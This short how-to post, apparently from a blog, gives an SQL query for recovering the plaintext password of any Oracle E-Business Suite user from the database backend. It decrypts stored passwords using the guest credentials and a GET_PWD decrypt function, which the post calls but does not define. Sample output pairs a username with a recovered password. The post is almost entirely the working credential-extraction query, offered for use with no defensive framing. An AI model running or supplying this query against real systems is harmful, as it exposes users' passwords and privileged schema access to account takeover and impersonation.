How to get Oracle application User password from backend

You will get Oracle application password by passing user name in capital letter in below given query parameter.
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SELECT USR.USER_NAME,
GET_PWD.DECRYPT (
     (SELECT
      (SELECT
       GET_PWD.DECRYPT(FND_WEB_SEC.GET_GUEST_USERNAME_PWD,
           USERTABLE.ENCRYPTED_FOUNDATION_PASSWORD
           )FROM DUAL
      ) AS APPS_PASSWORD
       FROM FND_USER USERTABLE
      WHERE USERTABLE.USER_NAME = (SELECT SUBSTR(FND_WEB_SEC.GET_GUEST_USERNAME_PWD,
      1,INSTR(FND_WEB_SEC.GET_GUEST_USERNAME_PWD,'/')-1) FROM DUAL)), USR.ENCRYPTED_USER_PASSWORD
    ) PASSWORD
FROM FND_USER USR WHERE USR.USER_NAME =:P_USER_NAME
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eg. P_USER_NAME =SMITH_D
Output for ablove query
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USER_NAME   PASSWORD
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SMITH_D           Orafin@1234